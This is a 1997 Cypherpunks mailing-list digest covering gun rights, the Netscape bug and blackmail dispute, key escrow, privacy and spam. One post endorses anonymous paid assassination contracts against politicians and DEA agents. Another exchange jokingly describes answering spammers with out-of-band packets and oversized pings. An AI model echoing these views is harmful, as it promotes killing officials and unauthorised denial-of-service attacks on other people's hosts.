Message-ID: <19970615082454.12999@bywater.songbird.com>



On Sun, Jun 15, 1997 at 01:47:14AM -0500, William H. Geiger III wrote:
>
>Well Kent we must be reading from two different dictionaries:
>
>infringe: to encroach upon in a way that violates law or the rights of
>another
>
>encroach: to enter by gradual steps or by stelth into the possessions or
>rights of another.

No, that's essentially what my dictionary says.  The issue isn't
"infringe".  The issue is exactly *what* is being infringed upon --
what does it mean to "keep and bear arms", and who is being referred
to by "the people", and what is the meaning of the clause about a
"well *regulated* militia" (my emphasis).

>By the above definition this is exactly what the government has been doing
>with it's ever increasing restictions on the possesions of guns by it's
>citizens and what the founding fathers wished to posses. If they had
>wanted the government to have the power to control and regulate the
>ownership of guns then they would have said so.

I believe they did.  There are numerous other clauses in the 
constitution that grant powers to congress to regulate various things 
in broad and general terms -- those adequately cover guns.

Furthermore, the constitution only covers the federal government.  
State governments have a whole other level of control over individual 
ownership of guns.

A nearby town recently passed a hotly contested city ordinance
forbidding the sale of "junk guns" in the city limits.  Such
ordinances are fairly common -- this case was unusual because it went
to a popular vote.  Perhaps it will be appealed, but I believe that 
an appeal will lose.

>The Bill of Rights were not added to the Constitution to give the
>government more power but to restrict their power.

Here are some interesting clauses from the constitution, listing certain 
powers:

    ...

    To make Rules for the Government and Regulation of the land and
    naval Forces;

    To provide for calling forth the Militia to execute the Laws of
    the Union, suppress Insurrections and repel Invasions;


    To provide for organizing, arming, and disciplining, the Militia,
    and for governing such Part of them as may be employed in the
    Service of the United States, reserving to the States
    respectively, the Appointment of the Officers, and the Authority
    of training the Militia according to the discipline prescribed by
    Congress;

[note: ..."suppress Insurrections"]
[note: the mention of the "Militia", and how they have a clear idea
       of what it is and how it is to be used]
    ... 

    To make all Laws which shall be necessary and proper for carrying
    into Execution the foregoing Powers, and all other Powers vested
    by this Constitution in the Government of the United States, or in
    any Department or Officer thereof.

>The whole purpose of the 2nd Amendment was to provide a final check & 
>balance on the government. 

My reading of the constitution and supporting documents does not
support this claim.

In fact, William, though it may not appear so, I am relatively 
impartial on interpretation of the second amendment -- I own several 
guns, my family has always owned guns, I was a member of the NRA at 
the earliest possible age, back when their focus was responsible use 
and not advocacy for large gun companies.

My beef with you and Tim and the other gun advocates on the list is 
precisely this issue of responsibility, not ownership of guns per 
se.  Guns are not toys.  They don't belong in the hands of children.
[Do you think the constitution guarantees that two-year olds should 
be able to carry guns, BTW?  If not, why not?]

>Our founding fathers were all too aware that it
>was manditory that the population must be well armed inorder preserve
>their freedom against an unjust government.

I refer you again to the "suppress Insurrections" clause above.

>An unarmed people are just so much sheep waiting for the slaughter.

Perhaps true.  However, that does not imply that every single 
individual therefore must own a gun.  Saying "the people are armed" 
is not the same thing as saying "every single individual has a gun".  
"The people" includes babies, the blind, quadraplegics, psychopaths, 
convicted felons in jail, Quakers.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Sun Jun 15 09:04:16 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 00:04:16 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: 



At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>Ross Wright wrote:
>>
>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>
>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>
>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>
>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>get enough requests for it, it might be possible to change our mind,
>though.

I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
memory footprint went up dramatically (Macintosh version at least), so that
I can no longer have all my favorite apps open. If I want to check stock
quotes, I have to quit one of my other Internet apps.

The dancing Java ads are not worth it.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun Jun 15 09:13:56 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 00:13:56 +0800
Subject: e$: Skins vs. Shirts
In-Reply-To: 
Message-ID: 



At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."
>

Netscape wants money for one of their products. I won't give them money. "I
don't bargain with terrorists."


(What the Danes offered was a straight buiness deal, albeit made weirder
and more frantic by the constraints of time, publicity, and worldwide
attention. Still a business deal, though. When Collabra wanted X dollars to
be acquired by Netscape, was this also "terrorism"? The term "terrorist"
hardly applies in business deals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lucifer at dhp.com  Sun Jun 15 11:37:49 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:37:49 +0800
Subject: Key Ass-crow
Message-ID: <199706151816.OAA05838@dhp.com>



Paul Bradley wrote:
> > Can someone explain the difference between key recovery and key
> > escrow? 

> Key escrow is where your keys are held by one or more trusted and
> supposedly independent third parties, on reciept of a court order they
> would release the keys.

  Kind of like trusting a friend not to bugger you while you are
drunk and passed out. (But he can't prevent the police from hauling
you in for public intoxication and locking you up with someone who
might do so.)

> But in the end it all comes down to GAK (government access to keys), same
> shit, different name. 

  This is much like having a Dominatrix who chains you to the toilet
and brings out a mixed bag of utensils and instruments which are about
to be used for purposes that are a far cry from what they were created
for, and to access areas that Nature never intended to be subjected to
large amounts of sunshine.

  Perhaps someone should come out with a GAK T-shirt which has a
citizen "assuming the position" while a GAK cop stands behind him
with a crowbar stuck halfway up the citizen's ass, and saying,
"If you don't have anything to hide, then you have nothing to
worry about."

AssMonger







From dave at bureau42.ml.org  Sun Jun 15 11:38:59 1997
From: dave at bureau42.ml.org (David E. Smith)
Date: Mon, 16 Jun 1997 02:38:59 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <33A3A4AC.192E128A@netscape.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 15 Jun 1997, Tom Weinstein wrote:

> > > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> > 
> > Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> > use 2.02.  You guys are gonna help us who refuse to upgrade, right.
> 
> Sorry, but we don't have any plans to respin 2.x at this time.  If we
> get enough requests for it, it might be possible to change our mind,
> though.

I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
bug exist this far back, or am I going to have to start using Cello,
or something equally obscure?

dave

- -- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM6Q1snEZTZHwCEpFAQFfVgf+J3NsCDL66gUi9Z8Myf5Vpr80kIEWB8km
JwyGsLOQF3PzIvRaYuqBdxaG2ETlljVHGPJV3cm7Cm5ovH1oXw4hQFQO5Jh4kJ64
umKscvLrmcIxtrlKPGM0URMpcgDdGVyCZpQ/H0P525s1Vcp1/szvuLxdGIwn5+1O
5dE7E6/kWHGVTkaI+kDM3yxzJpWhGrNVzRXruUYcR2d3MPoaUK5FAnTeTjbGF35L
5k0fJEiDVkF3BkqKNzA68bOeMP7CKTPAwebSY7/IzjLoOGiHE3eKHKrY0E9C8fOZ
n65kWIhg5xuokTe01fUaQStIYuinbLoJHdAypEH59X/Kh3ZU9N493w==
=FMIk
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Sun Jun 15 11:51:16 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:51:16 +0800
Subject: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706151830.OAA07797@dhp.com>



Robert Hettinga wrote:
> At 8:21 am -0400 on 6/15/97, John Young wrote:
> 
> > ... Sounds a bit Kallstromish...
> > Surely Homer hasn't been hanging with the CT-hypers.
> > ...an inflation of
> > terrorist-spin to whatever feeds nightsweats of monsters coming to
> > Ballmer our babies -- of flesh, markets or surveilling features.
> > .......slightly Dilberted with lonely-guy
> > infowar & -love games of fantasies of what will never be. ...
> > Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.
> 
> Wow. I actually understood all that...
> 
> The scent of the cogs is unmistakable hereabouts.

  Hetting and Young both pass on a variety of highly informative and
exceedingly normal, reality-based material for the most part. Then,
out of the blue, they post Taoist-Kerouac, acid-flashback missives
which indicate that the Orphan Zombies roaming the computer Nether-
world have not yet managed to steal their souls.
  Since John and Bob's psyche-meanderings often seem to occur within
the same time-frame I have concluded that they both have the same
drug connection.

  So...did you bring enough for everybody?

DrugMonger






From lucifer at dhp.com  Sun Jun 15 12:04:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:04:38 +0800
Subject: Blackmail / Re: e$: Skins vs. Shirts
Message-ID: <199706151846.OAA09246@dhp.com>



Tim May wrote:
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
> >Just to be clear, we didn't give the blackmailer any money.  As Mike
> >Homer put it: "We don't bargain with terrorists."

> (What the Danes offered was a straight buiness deal, albeit made weirder
> and more frantic by the constraints of time, publicity, and worldwide
> attention. Still a business deal, though. When Collabra wanted X dollars to
> be acquired by Netscape, was this also "terrorism"? The term "terrorist"
> hardly applies in business deals.)

  As Tim almost points out, people who use their own time, resources
and money to examine your product and discover weaknesses in it which
can be corrected in order to make it a better product hardly qualify
as blackmailers (unless a company considers that their in-house QA
staff is "blackmailing" them to receive a salary).

  (Pay attention, Netscape--major CLUE coming up...)
  It is not the consumer or user's job to keep track of what the
company who produces the software deems to be "proper" use of the
product they have bought. Likewise, it is not the job of computer
analysts and researchers to search out the flaws in a profitable
software and give away their knowledge so that the producer of
the software can maintain or increase their profits.
  If the people who discovered the flaw had wanted they could have
chosen to sell their knowledge to Microsoft for probably a very
substantial sum. 
  Can you imagine the embarassing position Netscape would be in
if Bill Gates made a press announcement about the Netscape flaw
and informed the public that a "Netscape fix" was available at
microsoft.com?

TruthMonger







From lucifer at dhp.com  Sun Jun 15 12:52:29 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:52:29 +0800
Subject: SnailMail Ver. 1.0 / Re: Impact of Netscape kernel hole
Message-ID: <199706151937.PAA11998@dhp.com>



David E. Smith wrote:
> On Sun, 15 Jun 1997, Tom Weinstein wrote:
> > Sorry, but we don't have any plans to respin 2.x at this time.  If we
> > get enough requests for it, it might be possible to change our mind,
> > though.
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

  SnailMail Version 1.0 will soon be coming out. The product includes
a pen, paper, envelopes and instructions on how to purchase stamps.
  While it does not offer perfect security, the chances are that
the only person who might snoop through it is your postman. Since
he is probably banging your spouse, he's practically a member of
the family, anyway.
  SnailMail Version 1.0 also includes letter-size envelopes so that
you can print out a copy of your Web page and mail it without bending
or folding it.

SnailMonger






From llurch at networking.stanford.edu  Sun Jun 15 13:59:50 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Mon, 16 Jun 1997 04:59:50 +0800
Subject: Spam Libs (Frauenfelder on HotWired)
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

C Matthew Curtin  wrote:

> * Sometimes my mail relay seems to choke on spam, and sends back a
> packet with a MSG_OOB bit sent to the host that originated the
> spam. Gee, dunno how that happened. Sometimes if the host stays
> up after that, it's followed by an oversized ping. Shucks, that's
> too bad when that happens. Maybe one day I'll track down that, uh,
> bug and ... fix it.

Damn... this bug must spread like the Good Times Virus. Mine just started
showing one of these symptoms, too, but only when approached by certain
domains (it being impolite to hit people who've been framed).

Have you isolated any code fragments that might help a virus scanner detect
this problem? This must be stopped, and I think full disclosure might help.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6RU7pNcNyVVy0jxAQHC9wH/Wi0lty3BWv4NjDYbmoNL2KZrqEkr1LTq
uJBCTW5xwgSnZlZOy3ZEW1+qHTfC3rvTEXQhUjM1Fdk/4yZC5iuoQA==
=YPKa
-----END PGP SIGNATURE-----






From jya at pipeline.com  Sun Jun 15 14:05:56 1997
From: jya at pipeline.com (John Young)
Date: Mon, 16 Jun 1997 05:05:56 +0800
Subject: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>



Dave Smith wrote:

>I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
>bug exist this far back, or am I going to have to start using Cello,
>or something equally obscure?

Dave suggests the key to Netscape's Andreesen's amazing trajectory 
from lab rat gizmoid to market leader, while others languish uncompensated,
at least just yet. 

It's Mark's changeable feature for peeking and tracking, approved by law for 
orderly commerce. "Bugs bounty" is the make light of it charade, while
"bug" is the venerable hardware name.

Find the first few, sure, that's for easy diversion, find those somewhat
deeper, those're for sweeping by the seasoned pros. Then there are those 
that are never found, the ones that always tell what's needed to know in 
national emergency but can never be revealed.

Perhaps any day now MS and NSCP will morph to push browser GAK, 
claiming that public privacy and secure commerce demand protection from 
cyber-terrorists. 

That's the theme, hey, hey, of the Denver meet of global leaders on 
June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
last week while speechifying contrarily to CNN, C-SPAN and Declan.

Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
of crippled crypto, or at least not its Chief Technology Officer, right?

BTW, Declan's spin on national affairs is starting to smell of pontification
to the
masses, classis sign of "if only you knew what I've been let in on."
Shimomuraism,
that, empty data.






From submitking at [205.199.2.191]  Mon Jun 16 05:06:43 1997
From: submitking at [205.199.2.191] (submitking)
Date: Mon, 16 Jun 1997 05:06:43 -0700 (PDT)
Subject: Congratulations!  We found your website!
Message-ID: <199706161206.FAA01872@toad.com>


Greetings from SUBMITKING, the leader in automated URL submissions!  

We found your website using our high-technology, specially designed, "web
crawling" software.  Unfortunately, most people don't have access to this
type of technology.  But we can help!

As you're aware, most people find websites using any number of popular (and
sometimes not so popular) search engines and other marketing resources (like
"Site of the Day" (Week, Month, etc.)).  But who has the hours and hours to 
spend searching the Web to find these resources and THEN submit the 
information to each one?  We did it for you!

SUBMITKING has taken thousands of man hours to research the top resources
people use to find what they need on the Internet.  With even more hours we 
have written special software for each individual resource so that with the 
information from one form you fill out we can register YOUR site with each 
of these resources as well as you could do it yourself...if you had 20 or so 
hours on your hands. 

Sure, we charge for this service.  It's $19.95 for submission to all 200
resources.  Which works out to less than a dime each.  If you COULD do each
site in just 5 minutes (paying yourself .10 each) you'd do 12 an hour (thus
earning a whopping $1.20 per hour).

Probably 50 or 100 visitors to your site is all it would take to see a huge
return on your investment.  It's a logical thing to do when you consider all
the benefits you stand to gain from being listed in 200 places. That being
said we can say no more.  We simply invite you to visit the site at
http://www.submitking.com and Thank-you for your time.

Kind regards,

SUBMITKING





From paul at fatmans.demon.co.uk  Sun Jun 15 14:24:09 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 16 Jun 1997 05:24:09 +0800
Subject: Democratic Assassination
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: 





> > Speaking entirely hypothetically: If assasination bots were implemented, 
> > and I ran one, I would choose to keep a list of poloticians, DEA cops, 
> > censors etc. and only allow contracts on them, of course, there is 
> > nothing to stop anyone else running a server that accepted bets on 
> > anyone. I would just choose not to allow my equipment to be used for 
> > hiring assasins to kill innocent people. 
>  
>   But by using this system, aren't we removing the concept of what an
> 'innocent' person is anyway? A person 'deserves' to die when enough people
> or money dictates that they should. 

I believe in this sense a DAP system would be a bad thing, but anonymous 
digital contracts in the more direct sense (ie. just a normal 
assasination contract as agreed today in meatspace, but using digital 
cash and other systems to make payments untraceable) are a better option 
as they remove this democratic side to the killings (although the 
democratic method prevents frivolous killings).
I am not at all saying that a person "deserves" to die when enough people 
say they should, but merely describing the situation. It is currently the 
case that when someone becomes A. unpopular enough in public opinion, or 
B. unpopular with someone with a lot of money, they stand a chance of 
being killed for this.

> Effectively you're censoring votes
> for the assasination of a person who you don't feel deserves it - no matter
> how many people donate money to that cause.
> This destroys the whole 'democratic' idea of what this ideas about.

Whoa there! An assasination bot and the hardware it ran on would be 
private property, I can choose to censor whatever the hell I want on 
private property. I personally would not run an AP type bot that 
democratised the process of assasination, as I have said I favour the 
probable outcome of a more direct contract system, but whether I did or 
not it is my decision who I accept bets on. If I choose to only accept 
bets on innocent children and old ladies, that is my own decision on my 
own property. Business suceeds through reputation, remember the basic 
principles of the free market...

> Also, how do you tell the difference between an 'evil' and 'innocent'
> DEA cop?

ROFL, the very notion of an innocent DEA cop is a joke...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From declan at pathfinder.com  Sun Jun 15 14:52:44 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 16 Jun 1997 05:52:44 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: 




On Sun, 15 Jun 1997, John Young wrote:

> That's the theme, hey, hey, of the Denver meet of global leaders on 
> June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
> last week while speechifying contrarily to CNN, C-SPAN and Declan.
> 
> Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
> of crippled crypto, or at least not its Chief Technology Officer, right?
> 
> BTW, Declan's spin on national affairs is starting to smell of pontification
> to the
> masses, classis sign of "if only you knew what I've been let in on."
> Shimomuraism,
> that, empty data.

Really? Can you point to examples? I certainly don't mean to be.

Though I do learn a lot of things I can't write about directly. I had
dinner last week with a senior White House official and an FTC
commissioner and a bunch of other folks. The condition of the invite was
not reporting on what was discussed. Yesterday I spent the afternoon with
folks including a Supreme Court clerk and a Federal judge. Friday evening
I went to a party with a bunch of Republican heavyweights where we talked
about what the Senate leadership is doing with the crypto bills.

If I come across as arrogant or stand-offish, call me on it. But, geez, I
cover this stuff full-time and then some. Sometimes I *do* know stuff that
isn't public. If it's interesting enough, I pursue it, verify it with
folks who can talk on the record, and then write about it.

-Declan






From declan at well.com  Sun Jun 15 14:53:43 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 16 Jun 1997 05:53:43 +0800
Subject: The Cartoon Decency Act, from The Netly News
Message-ID: 



***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan at well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]

        Next came Michael Brody from the American Academy of Child and
   Adolescent Psychiatry, who cranked up the rhetoric even more. "Ronald
   McDonald is so very busy in a cyberspace with no child rules. With
   entertainment and advertising totally merged, Ronald exploits children
   easily," Brody said. "Cholesterol is not the real public health menace
   on Ronald's web site, but the invasion and destruction of a child's
   fantasy life." Good thing he hadn't seen HotWired's Cocktail site.

[...]







From tcmay at got.net  Sun Jun 15 16:19:18 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 07:19:18 +0800
Subject: SnailMail Ver. 1.0--Content Recovery now available
In-Reply-To: <199706151937.PAA11998@dhp.com>
Message-ID: 



At 12:37 PM -0700 6/15/97, lucifer Anonymous Remailer wrote:

>  SnailMail Version 1.0 will soon be coming out. The product includes
>a pen, paper, envelopes and instructions on how to purchase stamps.
>  While it does not offer perfect security, the chances are that
>the only person who might snoop through it is your postman. Since
>he is probably banging your spouse, he's practically a member of
>the family, anyway.
>  SnailMail Version 1.0 also includes letter-size envelopes so that
>you can print out a copy of your Web page and mail it without bending
>or folding it.

A Content Recovery Version (TM) is available from Trusted Disinformation
Systems (TDS), of Fort Meade, Maryland.

"Content Recovery is being demanded by many companies," said TDS President
Walker Harper. "Companies are fearful of not knowing what their employees
are sending, so they want Content Recovery for all outgoing mail. And it
meets the LNLE criteria (legitimate needs of law enforcement)."

TDS has licensed the technology under the tradename "Postcards."


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sun Jun 15 16:23:58 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 07:23:58 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: 



At 2:36 PM -0700 6/15/97, Declan McCullagh wrote:

>Though I do learn a lot of things I can't write about directly. I had
>dinner last week with a senior White House official and an FTC
>commissioner and a bunch of other folks. The condition of the invite was
>not reporting on what was discussed. Yesterday I spent the afternoon with
>folks including a Supreme Court clerk and a Federal judge. Friday evening
>I went to a party with a bunch of Republican heavyweights where we talked
>about what the Senate leadership is doing with the crypto bills.
>

Maybe what John was saying is that you're being co-opted. Brought into the
inner circles, shown the secrets, wined and dined (and whined)...maybe
you'll even be invited to Fort Meade for a screening of the "If you only
knew what we knew" video.

When you have dinner with judges, cops, senators, narcs, and other such
insiders, and much of it is "deep background" (or whatever such briefings
are called), and you have to promise to only spin the story in certain
ways...well, the result is pretty obviously that you're just an outlet for
the agitprop machine.

I'm not saying you've sold out yet; I don't really know you, so I wouldn't
know how vulnerable you are. But you're sure showing all the signs of
becoming just another Washington Insider.

One way they buy people--very reminiscent of the methods used to recruit
spies--is to feed reporters with information they can't get anywhere else,
and swear them to secrecy. This ties them up in complicated webs of trust,
mistrust, and deceit, and makes the reporters more dependent on them for
future stories.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Sun Jun 15 16:49:12 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 16 Jun 1997 07:49:12 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: <3.0.2.32.19970614212045.00762f1c@popd.ix.netcom.com>



At 01:05 PM 6/13/97 -0400, Ray Arachelian wrote:
>Nor do I believe that TRW or the DMV should have the ability to sell my
>information to others without my permission, or collect it for that matter
>without a contrat that states how it will be used and who it will be
>shared with. Can you name one Credit Card company that DOES NOT share its
>info with TRW?  Yes, I can get a debit card, but information about
>transactions on it will wind up in the hands of TRW.

They're radically different cases.   TRW gets your information from
people who get credit reports on you, and from creditors who lend you money,
both of which are voluntary transactions on your part.  You have the option,
when negotiating the terms of your business with a company,
to specify in your contracts what information they may pass on to third
parties, and what restrictions they need to put on that information.
Yes, almost everybody you deal with gives everything to TRW or one
of its competitors, but you can negotiate that yourself.
The reason they do is that it reduces their risks substantially
when dealing with the Information Mongers, and therefore reduces
their costs and makes them more likely to give you credit,
and lets them charge you less money for the credit they give you.
But if you can't come to an agreement with anyone, you won't be
able to borrow money from them, and you'll need to pay cash up front
for things, but those were all voluntary transactions as well.

On the other hand, the DMV isn't voluntary - sure they tell you
"well, you don't _have_ to drive or own a car", but unlike 
creditors, who won't do anything bad to you if you don't
borrow money from them, the DMV forces you to deal with them
by threatening to have cops haul you off to jail and
steal your car if you drive without dealing with them.  
It's an offer you can't refuse.  Therefore, there are two
ways I can see to look at their use of data:
1) You're slaves anyway - go cope :-)
2) You've given them far more information than
you wanted to, and they should respect your privacy
and not give it to anyone.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tomw at netscape.com  Sun Jun 15 17:29:02 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 16 Jun 1997 08:29:02 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: 
Message-ID: <33A48666.19B0BE93@netscape.com>



David E. Smith wrote:
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

That version is safe.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From frogfarm at yakko.cs.wmich.edu  Sun Jun 15 17:30:28 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Mon, 16 Jun 1997 08:30:28 +0800
Subject: online-gamb.htm
Message-ID: <199706160030.UAA03038@yakko.cs.wmich.edu>




   interactiveJumpstart Spotlight [1]Phillips Publishing International,
   Inc.
   
Online Gambling Exec Praises Shutdown of Gaming Site

   courtesy: Multimedia Wire
   
   The chairman of an online gambling industry ethics panel praised the
   effort of the Maryland attorney general to close down a gambling Web
   site as an early move to regulate the fledgling online casino
   industry.
   
   Attorney General J. Joseph Curran issued a cease-and-desist order
   against RealTIME Prizes Network for running Prizes.com, a site that
   offers a variety of pay-for-play sweepstakes through customers' credit
   cards or through CyberCash.
   
   Online gambling can be done legally and legitimately, but only by
   working with government regulators, said Kendell Lang, chairman of an
   Interactive Services Association panel devising ethics for online
   casino operators and CEO of CasinoWorld Holdings. RealTIME has "flown
   in the face of regulators and gives the industry a bad name," Lang
   said. "We want to support the attorneys general of each and every
   state to get control of the situation."
   
   Curran targeted RealTIME because its operations are in Silver Spring,
   Md., a spokesman said. The attorney general could take additional
   action if RealTIME were to move to another state and accept business
   from Maryland residents, he added.
   
   Despite the desist order, Prizes.com was still operational yesterday.
   RealTIME was not immediately available for comment.
   
       [2]Home | [3]Free Email Newsletters | [4]Membership Invitation
           [5]Daily Hot News | [6]Marketing & Research | [7]Deals
           [8]Spotlight | [9]Developers Corner | [10]Classifieds
     _________________________________________________________________
   
   � Copyrighted material 1997. It is unlawful to copy, reproduce or
   retransmit in any medium or format without written permission from
   Phillips Business Information, Inc.

References

   1. http://www.phillips.com/
   2. http://www.ijumpstart.com/
   3. http://www.ijumpstart.com/freee.htm
   4. http://www.ijumpstart.com/membrinv.htm
   5. http://www.ijumpstart.com/hotnews.htm
   6. http://www.ijumpstart.com/mkt_rsch.htm
   7. http://www.ijumpstart.com/deals.htm
   8. http://www.ijumpstart.com/spotlite.htm
   9. http://www.ijumpstart.com/developr.htm
  10. http://www.ijumpstart.com/class.htm






From tomw at netscape.com  Sun Jun 15 17:31:42 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 16 Jun 1997 08:31:42 +0800
Subject: e$: Skins vs. Shirts
In-Reply-To: 
Message-ID: <33A484BE.A14E05F6@netscape.com>



Tim May wrote:
> 
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
>> Just to be clear, we didn't give the blackmailer any money.  As Mike
>> Homer put it: "We don't bargain with terrorists."
> 
> Netscape wants money for one of their products. I won't give them
> money. "I don't bargain with terrorists."
> 
> (What the Danes offered was a straight buiness deal, albeit made
> weirder and more frantic by the constraints of time, publicity, and
> worldwide attention. Still a business deal, though. When Collabra
> wanted X dollars to be acquired by Netscape, was this also
> "terrorism"? The term "terrorist" hardly applies in business deals.)

If it was just a business deal, that would be okay.  We would have a
right to not pay him.  It becomes blackmail when he says "If you don't
pay me, I will try to damage you."  That's what he did.  He said that
if we didn't pay him, he'd time his press announcement to coincide with
DevCon in order to cause us the maximum damage, which he did.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
